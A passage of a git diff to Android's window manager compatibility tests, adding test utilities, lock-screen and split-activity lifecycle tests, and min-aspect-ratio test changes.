+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.ACTIVITY_ID_LABEL;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Test activity that has a unique Id passed in from the launching context.
+ */
+public class TestActivityWithId extends Activity {
+
+ private static final String DEFAULT_ID = "unknown";
+ private String mId = DEFAULT_ID;
+
+ @Override
+ public void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Get ID
+ Intent intent = getIntent();
+ if (intent != null && intent.hasExtra(ACTIVITY_ID_LABEL)) {
+ mId = intent.getStringExtra(ACTIVITY_ID_LABEL);
+ }
+ }
+
+ public String getId() {
+ return mId;
+ }
+
+ @Override
+ public String toString() {
+ return String.format("TestActivityWithID{id=%s}", mId);
+ }
+
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
new file mode 100644
index 0000000..4ebeac4
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Consumer that provides a simple way to wait for a specific count of values to be received within
+ * a timeout and then return the last value.
+ */
+public class TestValueCountConsumer<T> implements Consumer<T> {
+
+ private static final long TIMEOUT_MS = 3000;
+ private static final int DEFAULT_COUNT = 1;
+ private int mCount = DEFAULT_COUNT;
+ private LinkedBlockingQueue<T> mLinkedBlockingQueue;
+ private T mLastReportedValue;
+
+ public TestValueCountConsumer() {
+ mLinkedBlockingQueue = new LinkedBlockingQueue<>();
+ }
+
+ @Override
+ public void accept(T value) {
+ // Asynchronously offer value to queue
+ mLinkedBlockingQueue.offer(value);
+ }
+
+ public void setCount(int count) {
+ mCount = count;
+ }
+
+ @Nullable
+ public T waitAndGet() throws InterruptedException {
+ T value = null;
+ for (int i = 0; i < mCount; i++) {
+ value = mLinkedBlockingQueue.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+ mLastReportedValue = value;
+ return value;
+ }
+
+ @Nullable
+ public T getLastReportedValue() {
+ return mLastReportedValue;
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestWindowLayoutInfoConsumer.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestWindowLayoutInfoConsumer.java
deleted file mode 100644
index be8f407..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestWindowLayoutInfoConsumer.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils;
-
-import androidx.annotation.Nullable;
-import androidx.window.extensions.layout.WindowLayoutInfo;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.function.Consumer;
-
-public class TestWindowLayoutInfoConsumer implements Consumer<WindowLayoutInfo> {
-
- private static final String TAG = "TestWindowLayoutInfoConsumer";
- private static final long WINDOW_LAYOUT_INFO_TIMEOUT_MS = 50;
-
- CompletableFuture<WindowLayoutInfo> mFuture;
-
- public TestWindowLayoutInfoConsumer() {
- mFuture = new CompletableFuture<WindowLayoutInfo>();
- }
-
- @Override
- public void accept(WindowLayoutInfo windowLayoutInfo) {
- mFuture.complete(windowLayoutInfo);
- }
-
- public @Nullable WindowLayoutInfo waitAndGet()
- throws ExecutionException, InterruptedException, TimeoutException {
- return mFuture.get(WINDOW_LAYOUT_INFO_TIMEOUT_MS, TimeUnit.MILLISECONDS);
- }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index 9a859ce..3c926a5 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -34,10 +34,12 @@
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
+import android.app.Application;
import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
import android.graphics.Rect;
+import android.os.Bundle;
import android.os.IBinder;
import androidx.annotation.NonNull;
@@ -49,14 +51,21 @@
import org.junit.runner.RunWith;
import java.util.List;
+import java.util.Set;
+import java.util.HashSet;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.TimeoutException;
/** Base class for all tests in the module. */
public class WindowManagerJetpackTestBase {
+ public static final String ACTIVITY_ID_LABEL = "ActivityID";
+
public Instrumentation mInstrumentation;
public Context mContext;
+ public Application mApplication;
+
+ private final static Set<Activity> sResumedActivities = new HashSet<>();
@Before
public void setUp() {
@@ -64,15 +73,30 @@
assertNotNull(mInstrumentation);
mContext = getApplicationContext();
assertNotNull(mContext);
+ mApplication = (Application) mContext.getApplicationContext();
+ assertNotNull(mApplication);
+ // Register activity lifecycle callbacks to know which activities are resumed
+ registerActivityLifecycleCallbacks();
}
public Activity startActivityNewTask(Class activityClass) {
- Intent intent = new Intent(mContext, activityClass);
+ final Intent intent = new Intent(mContext, activityClass);
intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- Activity activity = mInstrumentation.startActivitySync(intent);
+ final Activity activity = mInstrumentation.startActivitySync(intent);
return activity;
}
+ /**
+ * Starts an instance of {@param activityToLaunchClass} from {@param activityToLaunchFrom}
+ * and returns the activity ID from the newly launched class.
+ */
+ public static <T extends Activity> void startActivityFromActivity(Activity activityToLaunchFrom,
+ Class<T> activityToLaunchClass, String newActivityId) {
+ Intent intent = new Intent(activityToLaunchFrom, activityToLaunchClass);
+ intent.putExtra(ACTIVITY_ID_LABEL, newActivityId);
+ activityToLaunchFrom.startActivity(intent);
+ }
+
public static IBinder getActivityWindowToken(Activity activity) {
return activity.getWindow().getAttributes().token;
}
@@ -148,4 +172,51 @@
|| (extensionDeviceState == FoldingFeature.STATE_HALF_OPENED
&& sidecarDeviceStatePosture == SidecarDeviceState.POSTURE_HALF_OPENED);
}
+
+ private void registerActivityLifecycleCallbacks() {
+ mApplication.registerActivityLifecycleCallbacks(
+ new Application.ActivityLifecycleCallbacks() {
+ @Override
+ public void onActivityCreated(@NonNull Activity activity,
+ @Nullable Bundle savedInstanceState) {
+ }
+
+ @Override
+ public void onActivityStarted(@NonNull Activity activity) {
+ }
+
+ @Override
+ public void onActivityResumed(@NonNull Activity activity) {
+ synchronized (sResumedActivities) {
+ sResumedActivities.add(activity);
+ }
+ }
+
+ @Override
+ public void onActivityPaused(@NonNull Activity activity) {
+ synchronized (sResumedActivities) {
+ sResumedActivities.remove(activity);
+ }
+ }
+
+ @Override
+ public void onActivityStopped(@NonNull Activity activity) {
+ }
+
+ @Override
+ public void onActivitySaveInstanceState(@NonNull Activity activity,
+ @NonNull Bundle outState) {
+ }
+
+ @Override
+ public void onActivityDestroyed(@NonNull Activity activity) {
+ }
+ });
+ }
+
+ public static boolean isActivityResumed(Activity activity) {
+ synchronized (sResumedActivities) {
+ return sResumedActivities.contains(activity);
+ }
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index c9a2c99..589ab90 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -19,8 +19,6 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.content.pm.ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE;
import static android.content.pm.ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_MEDIUM_VALUE;
-import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
-import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
import static android.provider.DeviceConfig.NAMESPACE_CONSTRAIN_DISPLAY_APIS;
import static android.view.Display.DEFAULT_DISPLAY;
@@ -51,9 +49,6 @@
import libcore.junit.util.compat.CoreCompatChangeRule.EnableCompatChanges;
-import org.hamcrest.Matcher;
-import org.hamcrest.Matchers;
-import org.junit.Assert;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -81,6 +76,10 @@
component(ResizeableLargeAspectRatioActivity.class);
private static final ComponentName NON_RESIZEABLE_PORTRAIT_ACTIVITY =
component(NonResizeablePortraitActivity.class);
+ private static final ComponentName NON_RESIZEABLE_LANDSCAPE_ACTIVITY =
+ component(NonResizeableLandscapeActivity.class);
+ private static final ComponentName NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY =
+ component(NonResizeableNonFixedOrientationActivity.class);
private static final ComponentName NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY =
component(NonResizeableAspectRatioActivity.class);
private static final ComponentName NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY =
@@ -88,8 +87,6 @@
private static final ComponentName SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY =
component(SupportsSizeChangesPortraitActivity.class);
- // Device aspect ratio (both portrait and landscape orientations) for min aspect ratio tests
- private static final float SIZE_COMPAT_DISPLAY_ASPECT_RATIO = 1.4f;
// Fixed orientation min aspect ratio
private static final float FIXED_ORIENTATION_MIN_ASPECT_RATIO = 1.03f;
// The min aspect ratio of NON_RESIZEABLE_ASPECT_RATIO_ACTIVITY (as defined in the manifest).
@@ -347,12 +344,7 @@
@Test
@EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO})
public void testOverrideMinAspectRatioMissingSpecificOverride() {
- // Note that we're using getBounds() in portrait, rather than getAppBounds() like other
- // tests, because we're comparing to the display size and therefore need to consider insets.
- runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
- /* expectedInPortrait= */ SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
- /* expectedInLandscape= */ FIXED_ORIENTATION_MIN_ASPECT_RATIO,
- /* useAppBoundsInPortrait= */false);
+ runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* expected= */ 0);
}
/**
@@ -362,12 +354,29 @@
@Test
@EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
public void testOverrideMinAspectRatioMissingGeneralOverride() {
- // Note that we're using getBounds() in portrait, rather than getAppBounds() like other
- // tests, because we're comparing to the display size and therefore need to consider insets.
- runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
- /* expectedInPortrait= */ SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
- /* expectedInLandscape= */ FIXED_ORIENTATION_MIN_ASPECT_RATIO,
- /* useAppBoundsInPortrait= */false);
+ runMinAspectRatioTest(NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* expected= */ 0);
+ }
+
+ /**
+ * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+ * activities whose orientation is fixed to landscape.
+ */
+ @Test
+ @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+ ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+ public void testOverrideMinAspectRatioForLandscapeActivity() {
+ runMinAspectRatioTest(NON_RESIZEABLE_LANDSCAPE_ACTIVITY, /* expected= */ 0);
+ }
+
+ /**
+ * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+ * activities whose orientation isn't fixed.
+ */
+ @Test
+ @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+ ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+ public void testOverrideMinAspectRatioForNonFixedOrientationActivity() {
+ runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */ 0);
}
/**
@@ -421,7 +430,7 @@
/**
* Test that the min aspect ratio of the activity as defined in the manifest is upheld if
- * there is a n override for a smaller min aspect ratio present (3:2 < 1.6).
+ * there is an override for a smaller min aspect ratio present (3:2 < 1.6).
*/
@Test
@EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
@@ -584,49 +593,19 @@
}
/**
- * Launches the provided activity twice. The first time, the display is resized to a portrait
- * aspect ratio. The second time, the display is resized to a landscape aspect ratio.
+ * Launches the provided activity and verifies that its min aspect ratio is equal to {@code
+ * expected}.
*
* @param activity the activity under test.
- * @param expected the expected aspect ratio in both portrait and landscape displays.
+ * @param expected the expected min aspect ratio in both portrait and landscape displays.
*/
private void runMinAspectRatioTest(ComponentName activity, float expected) {
- runMinAspectRatioTest(activity, expected, expected, /* useAppBoundsInPortrait= */ true);
- }
-
- /**
- * Launches the provided activity twice. The first time, the display is resized to a portrait
- * aspect ratio. The second time, the display is resized to a landscape aspect ratio.
- *
- * @param activity the activity under test.
- * @param expectedInPortrait the expected aspect ratio in portrait display.
- * @param expectedInLandscape the expected aspect ratio in portrait display.
- * @param useAppBoundsInPortrait whether to use {@code activity#getAppBounds} rather than
- * {@code activity.getBounds} in portrait display.
- */
- private void runMinAspectRatioTest(ComponentName activity, float expectedInPortrait,
- float expectedInLandscape, boolean useAppBoundsInPortrait) {
- // Change the aspect ratio of the display to something that is smaller than all the aspect
- // ratios used throughout those tests but still portrait. This ensures we're using
- // enforcing aspect ratio behaviour within orientation.
- // NOTE: using a smaller aspect ratio (e.g., 1.2) might cause activities to have a landscape
- // window because of insets.
- mDisplayMetricsSession.changeAspectRatio(SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
- ORIENTATION_PORTRAIT);
launchActivity(activity);
- Assert.assertThat(
- getActivityAspectRatio(activity, /* useAppBounds= */ useAppBoundsInPortrait),
- greaterThanOrEqualToInexact(expectedInPortrait));
-
- // Change the orientation of the display to landscape. In this case we should see
- // fixed orientation letterboxing and the aspect ratio should be applied there.
- mDisplayMetricsSession.changeAspectRatio(SIZE_COMPAT_DISPLAY_ASPECT_RATIO,
- ORIENTATION_LANDSCAPE);
- launchActivity(activity);
- // A different aspect ratio logic is applied in fixed orientation letterboxing, so we need
- // to use getBounds() rather than getAppBounds() here.
- Assert.assertThat(getActivityAspectRatio(activity, /* useAppBounds= */ true),
- greaterThanOrEqualToInexact(expectedInLandscape));
+ WindowManagerState.Activity activityContainer = mWmState.getActivity(activity);
+ assertNotNull(activityContainer);
+ assertEquals(expected,
+ activityContainer.getMinAspectRatio(),
+ FLOAT_EQUALITY_DELTA);
}
/**
@@ -666,15 +645,6 @@
}, "checking task bounds updated");
}
- private float getActivityAspectRatio(ComponentName componentName, boolean useAppBounds) {
- WindowManagerState.Activity activity = mWmState.getActivity(componentName);
- assertNotNull(activity);
- Rect bounds = useAppBounds ? activity.getAppBounds() : activity.getBounds();
- assertNotNull(bounds);
- return Math.max(bounds.height(), bounds.width())
- / (float) (Math.min(bounds.height(), bounds.width()));
- }
-
private float getInitialDisplayAspectRatio() {
Size size = mDisplayMetricsSession.getInitialDisplayMetrics().getSize();
return Math.max(size.getHeight(), size.getWidth())
@@ -703,10 +673,6 @@
}
}
- private static Matcher<Float> greaterThanOrEqualToInexact(float expected) {
- return Matchers.greaterThanOrEqualTo(expected - FLOAT_EQUALITY_DELTA);
- }
-
private static ComponentName component(Class<? extends Activity> activity) {
return new ComponentName(getInstrumentation().getContext(), activity);
}
@@ -720,6 +686,12 @@
public static class NonResizeablePortraitActivity extends FocusableActivity {
}
+ public static class NonResizeableLandscapeActivity extends FocusableActivity {
+ }
+
+ public static class NonResizeableNonFixedOrientationActivity extends FocusableActivity {
+ }
+
public static class NonResizeableAspectRatioActivity extends FocusableActivity {
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index e3b28ce..b585c04 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -54,7 +54,7 @@
@Override
public void setUp() throws Exception {
super.setUp();
-
+ assumeFalse(ENABLE_SHELL_TRANSITIONS);
assumeTrue(supportsInsecureLock());
assumeFalse(isUiModeLockedToVrHeadset());
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index e14a64e..9076050 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -754,6 +754,7 @@
@Test
public void testAppTransitionForActivityOnDifferentDisplay() {
+ assumeFalse(ENABLE_SHELL_TRANSITIONS);
final TestActivitySession<StandardActivity> transitionActivitySession =
createManagedTestActivitySession();
// Create new simulated display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index f04d839..356953b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -19,16 +19,20 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
+
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.graphics.Rect;
+import android.os.Bundle;
import android.os.IBinder;
import android.platform.test.annotations.Presubmit;
import android.server.wm.WindowManagerState.Task;
@@ -73,6 +77,14 @@
/** Launch two Activities in two adjacent TaskFragments side-by-side. */
private void initializeSplitActivities(boolean splitInEmbeddedTask) {
+ initializeSplitActivities(splitInEmbeddedTask, false /* showWhenLocked */);
+ }
+
+ /**
+ * Launch two Activities in two adjacent TaskFragments side-by-side and support to set the
+ * showWhenLocked attribute to Activity B.
+ */
+ private void initializeSplitActivities(boolean splitInEmbeddedTask, boolean showWhenLocked) {
final Rect activityBounds = mOwnerActivity.getWindowManager().getCurrentWindowMetrics()
.getBounds();
activityBounds.splitVertically(mPrimaryBounds, mSideBounds);
@@ -92,6 +104,9 @@
if (splitInEmbeddedTask) {
intent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
}
+ if (showWhenLocked) {
+ intent.putExtra(EXTRA_SHOW_WHEN_LOCKED, true);
+ }
wct.startActivityInTaskFragment(taskFragTokenB, mOwnerToken, intent,
null /* activityOptions */);
@@ -444,6 +459,72 @@
mWmState.getActivity(mActivityC));
}
+ /**
+ * Verifies the show-when-locked behavior while launch embedded activities. Don't show the
+ * embedded activities even if one of Activity has showWhenLocked flag.
+ */
+ @Test
+ public void testLaunchEmbeddedActivityWithShowWhenLocked() {
+ assumeTrue(supportsLockScreen());
+
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ // Initialize test environment by launching Activity A and B (with showWhenLocked)
+ // side-by-side.
+ initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
+
+ lockScreenSession.sleepDevice();
+ lockScreenSession.wakeUpDevice();
+
+ waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+ waitAndAssertActivityState(mActivityB, STATE_STOPPED,"Activity B must be stopped");
+ }
+
+ /**
+ * Verifies the show-when-locked behavior while launch embedded activities. Don't show the
+ * embedded activities if the activities don't have showWhenLocked flag.
+ */
+ @Test
+ public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
+ assumeTrue(supportsLockScreen());
+
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ // Initialize test environment by launching Activity A and B side-by-side.
+ initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
+
+ lockScreenSession.sleepDevice();
+ lockScreenSession.wakeUpDevice();
+
+ waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+ waitAndAssertActivityState(mActivityB, STATE_STOPPED,"Activity B must be stopped");
+ }
+
+ /**
+ * Verifies the show-when-locked behavior while launch embedded activities. The embedded
+ * activities should be shown on top of the lock screen since they have the showWhenLocked flag.
+ * Don't show the embedded activities even if one of Activity has showWhenLocked flag.
+ */
+ @Test
+ public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
+ assumeTrue(supportsLockScreen());
+
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ // Initialize test environment by launching Activity A and B side-by-side.
+ mOwnerActivity.setShowWhenLocked(true);
+ initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
+
+ lockScreenSession.sleepDevice();
+ lockScreenSession.wakeUpDevice();
+
+ waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+ waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+
+ // Launch Activity C without show-when-lock and verifies that both activities are stopped.
+ mOwnerActivity.startActivity(mIntent);
+ waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
+ waitAndAssertActivityState(mActivityC, STATE_STOPPED,"Activity C must be stopped");
+
+ }
+
private TaskFragmentCreationParams generatePrimaryTaskFragParams() {
return mTaskFragmentOrganizer.generateTaskFragParams(mOwnerToken, mPrimaryBounds,
WINDOWING_MODE_MULTI_WINDOW);
@@ -478,7 +559,17 @@
}
}
- public static class ActivityA extends FocusableActivity {}
- public static class ActivityB extends FocusableActivity {}
- public static class ActivityC extends FocusableActivity {}
+ public static class ActivityA extends SplitTestActivity {}
+ public static class ActivityB extends SplitTestActivity {}
+ public static class ActivityC extends SplitTestActivity {}
+ public static class SplitTestActivity extends FocusableActivity {
+ public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ if (getIntent().getBooleanExtra(EXTRA_SHOW_WHEN_LOCKED, false)) {
+ setShowWhenLocked(true);
+ }
+ }
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
index 72fb01c..61ea0dc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -293,9 +293,38 @@
assertEquals(1, info.getActivities().size());
}
+ /**
+ * Verifies whether creating TaskFragment with non-resizeable {@link Activity} leads to
+ * {@link IllegalArgumentException} returned by
+ * {@link TaskFragmentOrganizer#onTaskFragmentError(IBinder, Throwable)}.
+ */
+ @Test
+ public void testCreateTaskFragmentWithNonResizeableActivity_ThrowException() {
+ // Pass non-resizeable Activity's token to TaskFragmentCreationParams and tries to
+ // create a TaskFragment with the params.
+ final Activity activity =
+ startNewActivity(CompatChangeTests.NonResizeablePortraitActivity.class);
+ final IBinder ownerToken = getActivityToken(activity);
+ final TaskFragmentCreationParams params =
+ mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .createTaskFragment(params);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+
+ mTaskFragmentOrganizer.waitForTaskFragmentError();
+
+ assertThat(mTaskFragmentOrganizer.getThrowable())
+ .isInstanceOf(IllegalArgumentException.class);
+ }
+
private static Activity startNewActivity() {
+ return startNewActivity(TestActivity.class);
+ }
+
+ private static Activity startNewActivity(Class<?> className) {
final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- final Intent intent = new Intent(instrumentation.getTargetContext(), TestActivity.class)
+ final Intent intent = new Intent(instrumentation.getTargetContext(), className)
.addFlags(FLAG_ACTIVITY_NEW_TASK);
return instrumentation.startActivitySync(intent);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index e05bc8c..2a5de2f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -42,10 +42,13 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeFalse;
import android.content.ComponentName;
+import android.os.SystemProperties;
import android.platform.test.annotations.Presubmit;
+import org.junit.Before;
import org.junit.Test;
/**
@@ -63,6 +66,11 @@
@Presubmit
public class TransitionSelectionTests extends ActivityManagerTestBase {
+ @Before
+ public void setup() {
+ assumeFalse(ENABLE_SHELL_TRANSITIONS);
+ }
+
// Test activity open/close under normal timing
@Test
public void testOpenActivity_NeitherWallpaper() {
@@ -129,9 +137,9 @@
}
@Test
- public void testOpenFreeformTask_BottomWallpaper_TopNonResizable() {
+ public void testOpenFreeformTask_BottomWallpaper_TopResizable() {
assumeTrue(supportsFreeform());
- testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+ testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
false /*slowStop*/, TRANSIT_TASK_OPEN, WINDOWING_MODE_FREEFORM);
}
@@ -142,9 +150,9 @@
}
@Test
- public void testCloseFreeformTask_BottomWallpaper_TopNonResizable() {
+ public void testCloseFreeformTask_BottomWallpaper_TopResizable() {
assumeTrue(supportsFreeform());
- testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+ testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
false /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FREEFORM);
}
@@ -201,9 +209,9 @@
}
@Test
- public void testCloseFreeformTask_BottomWallpaper_TopNonResizable_SlowStop() {
+ public void testCloseFreeformTask_BottomWallpaper_TopResizable_SlowStop() {
assumeTrue(supportsFreeform());
- testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+ testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
true /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FREEFORM);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index dbbb4fd..a3b504e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -88,6 +88,11 @@
new ActivityTestRule<>(ImmersiveFullscreenTestActivity.class,
false /* initialTouchMode */, false /* launchActivity */);
+ @Rule
+ public final ActivityTestRule<NaturalOrientationTestActivity> mNaturalOrientationTestActivity =
+ new ActivityTestRule<>(NaturalOrientationTestActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
@Before
@Override
public void setUp() throws Exception {
@@ -124,6 +129,7 @@
assumeTrue("Skipping test: no split multi-window support",
supportsSplitScreenMultiWindow());
+ launchAndWait(mNaturalOrientationTestActivity);
mWmState.computeState(new ComponentName[] {});
final boolean naturalOrientationPortrait =
mWmState.getDisplay(DEFAULT_DISPLAY)
@@ -356,4 +362,7 @@
| View.SYSTEM_UI_FLAG_FULLSCREEN);
}
}
+
+ public static class NaturalOrientationTestActivity extends TestActivity {
+ }
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 2436452..e37f284 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
